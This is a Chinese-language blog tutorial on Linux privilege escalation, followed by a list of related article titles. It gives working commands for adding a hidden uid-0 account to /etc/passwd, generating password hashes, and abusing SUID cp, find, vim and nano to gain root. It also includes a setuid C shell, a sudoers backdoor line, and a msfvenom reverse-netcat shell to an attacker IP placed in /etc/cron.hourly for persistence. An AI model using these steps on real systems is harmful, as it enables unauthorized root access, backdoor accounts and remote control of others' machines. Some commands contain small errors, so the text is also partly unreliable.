Linux提权(持续更新)
利用/etc/passwd提权
个人认为,这种提权方式在现实场景中难以实现,条件太过苛刻,但是建立Linux下的隐藏账户是个不错的选择,灵感来自:https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
- 利用条件 - 拥有一个普通用户的权限
- 普通用户有/etc/passwd的写权限
 
- 利用原理 - 目前不是特别清楚,只知道Linux下的 - /etc/passwd用于标识账户信息,- /etc/shadow用于标识密码信息,- /etc/group用于标识用户组信息
- 利用细节 - 直接修改 - /etc/passwd,先观察root用户的格式:- root:x:0:0:root:/root:/bin/bash
 - root表示用户名;x表示密码hash,0表示用户ID,0表示用户组ID,/root表示用户相关信息,/bin/bash表示该用户使用何种shell执行命令 - 举个例子: - test:passwd_hash:0:0::/bin/hash
 - 这里只要设置密码hash值即可,制作密码hash有以下几种方式: - OpenSSL - openssl passwd -1 -salt salt password
 
- mkpasswd - mkpasswd -m SHA-512 password
 
- Python - python -c 'import crypt; print crypt.crypt("password","$6$salt")'
 
- Perl - perl -le 'print crypt("password","salt")'
 
- PHP - php -r "print(crypt('password','salt') . \"\n\");"
 
 
利用suid提权
灵感来自:https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
在Linux中,存在suid、guid、sticky,suid是一种权限类型,它允许拥有SUID的用户使用指定用户的权限执行文件,通常SUID表示文件的最高执行权限。一般Linux中文件的权限如0777,第一位0表示为特殊权限,7表示rwx(读写执行);对于第一位,如果是4表示拥有SUID权限,如果是2表示拥有GUID权限,如果是1表示,拥有sticky的权限,它能创建删除任何用户ID在目录中的文件
在实际复现时,发现确实还是挺实用的-.-,测试环境kali-2019.1
- 利用条件 - 文件拥有SUID权限
- 一个普通用户权限
 
- 利用原理 - 本质上是间接利用了 - /etc/passwd提权,一般采用- find / -perm -u=s -type f 2>/dev/null
- 利用细节 - 利用cp命令提权 - 第一:查看 - /bin/cp是否具备SUID权限- whereis find
 find / -perm -u=s -type f 2>/dev/null
 - 第二:替换 - /etc/passwd- 先获取原本的 - /etc/passwd;然后在文件中添加一行用户信息,其中用户的hash制作可参考- /etc/passwd提权中的方式;最后将篡改后的- passwd文件覆盖- /etc/passwd文件- 第三:第二步其实已经完成,此处可再利用 - cp命令反弹shell- msfvenom -p cmd/unix/reverse_netcat lhost=攻击者IP lport=攻击者监听的端口 R
 # 生成并保存至1.sh文件中
 - # 将反弹shell的脚本放置在计划任务中,使其每小时启动一次
 cp 1.sh /etc/cron.hourly/
 
- 利用find命令提权 - 第一:查看find命令所在的文件位置 - whereis find
 find / -perm -u=s -type f 2>/dev/null
 - 第二:使用find执行系统命令 - # 先创建一个空文件
 touch temp
 # 然后借助空文件执行系统命令
 find temp -exec "whoami" \;
 # 这几个命令比较相似,区别无非就是:有没有引号,有没有花括号,实际测试时,这条指令一切OK
 find /etc/passwd -exec whoami \;
 # 其它命令
 find /etc/passwd -exec whoami {} \;
 - 第三:扩展 - # 实际测试时,综合利用,发现还比较实用,因为find一般默认拥有SUID权限
 # 在测试时发现执行命令有时跟当前一般用户权限有关,如:重定向操作符无法正常使用,因为没有写权限
 # 这里采用一种迂回的方式,写文件
 # 使用dd命令生成一个空文件
 dd if=/dev/zero of=/var/www/html/1.txt bs=1 count=1
 # 然后使用sed替换文件内容
 sed -i 's/\x0/content/g' /var/www/html/1.txt
 # 使用这种方法,结合/etc/passwd提权方式,获取root权限
 
- 利用vim编辑器提权 - 第一:查看vim所在的文件位置 - which vim
 whereis vim
 find / -perm -u=s -type f 2>/dev/null
 - 第二:赋予普通用户sudo的权限 - # 通过修改sudoer文件给与指定用户sudo的权限
 visudo
 vim.basic /etc/sudoer
 # 在文件中写入一行数据
 username ALL=(ALL:ALL) ALL
 - 第三:验证用户是否拥有root权限 - # 直接进入root的交互命令行
 sudo bash
 # sudo查看shadow文件
 sudo cat /etc/shadow
 
- 使用已保存的脚本提权 - 个人觉得这种方式没另外几种实用性好 - #include<stdio.h>
 #include<unistd.h>
 #include<sys/types.h> int main()
 {
 setuid(geteuid());
 system("/bin/bash");
 return 0;
 }
 - 上述代码保存至文件payload.c - 使用以下命令生成一个拥有SUID的payload可执行文件 - gcc shell.c -o shell
 chmod u+s shell
 - 执行payload程序,获取root权限的交互shell - ./payload
 id
 
- 通过Nano编辑器提权 - 第一:获取nano的文件位置 - which nano
 whereis nano
 find / -perm -u=s -type f 2>/dev/null
 - 第二:直接修改 - /etc/passwd- # 编辑/etc/passwd
 nano /etc/passwd
 # 添加一行数据(参考/etc/passwd提权方式)
 test:password_hash:0:0::/root:/bin/bash
 - 第三:其实第二步已经达成目标,第三步可选[个人感觉不是很方便] - # 编辑/etc/shadow
 nano /etc/shadow
 # 添加一行数据
 按照格式填写用户相关的密码hash
 
 
Linux提权(持续更新)的更多相关文章
- Linux提权:从入门到放弃
		*原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ... 
- Linux提权(1)-基础版~
		利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ... 
- 又一款linux提权辅助工具
		又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ... 
- 记一次初步Linux提权
		前言. 提权这么久了 还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ... 
- 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
		免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ... 
- 利用Metasploit进行Linux提权
		利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ... 
- 20. Linux提权:从入门到放弃
		几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ... 
- Unix/Linux提权漏洞快速检测工具unix-privesc-check
		Unix/Linux提权漏洞快速检测工具unix-privesc-check unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ... 
- Linux提权中常见命令大全
		在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ... 
随机推荐
- 第十七章 nginx动静分离和rewrite重写
			一.动静分离 动静分离,通过中间件将动静分离和静态请求进行分离:通过中间件将动态请求和静态请求分离,可以减少不必要的请求消耗,同时能减少请求的延时.通过中间件将动态请求和静态请求分离,逻辑图如下: 1 ... 
- tensorflow 出现KeyError: 'tulips\\8689672277_b289909f97_n.jpg'报错
			在学习tensorflow基础教程-图像章节过程中,按照官网教程学习的时候出现了以下报错 一开始很迷茫,按着教程走怎么会这样呢 ,上网查资料也没找到找到,没办法,只好自己找原因,根据提示KeyErro ... 
- if当中是赋值怎么办
			1.Java中,赋值是有返回值的 ,赋什么值,就返回什么值.比如这题,x=y,返回y的值,所以括号里的值是1. 2.Java跟C的区别,C中赋值后会与0进行比较,如果大于0,就认为是true:而Jav ... 
- 浅谈DevOps
			DevOps: Development和Operations的组合,是一种软件开发方法,涉及软件在整个开发生命周期中的持续开发,持续测试,持续集成,持续部署和持续监控. 可以把DevOps看作系统开发 ... 
- 打爆你的 CPU
			打爆你的 CPU Intro 今天来尝试写一段代码,把 CPU 打满,让所有处理器的 CPU 使用率达到 100% 如何提高 CPU 使用率 想要提高 CPU 的使用率就是要让 CPU 一直在工作,单 ... 
- No compatible servers were found,You'll need to cancel this wizard and install one!
			原文链接:https://www.jianshu.com/p/a11f93fb16ce 问题原因 笔记本重装的windows系统,重新安装mysql的时候,显示错误,看了一下缺失服务,实际上可能是缺少 ... 
- 【译】值得推荐的十大React Hook 库
			十大React Hook库 原文地址:https://dev.to/bornfightcompany/top-10-react-hook-libraries-4065 原文作者:Juraj Pavlo ... 
- requests请求获取cookies的字典格式
			python中requests请求的cookies值一般是jar包,如何将cookies值改为字典,此处运用了方法.举例如下: import requests response = requests ... 
- SpringBoot+JPA+SpringSeurity+JWT
			目的:使用这个框架主要就是为了解决高并发环境下登陆操作对数据库及服务器的压力,同时能保证安全性: 加载时,SpringSecurity定义拦截器和添加两个Fitler: 登陆时,登陆成功,通过传入的信 ... 
- git的远程分支是干啥的,和本地的有什么区别?
			不知道大家有没有经历过,当我们切换到了一个新的分支想要提交代码的时候,总会遇到这样的错误. 我们把日志里的英文翻译过来是说,我们当前的分支没有设置任何上游分支.然后git提示我们可以运行下面这行代码来 ... 
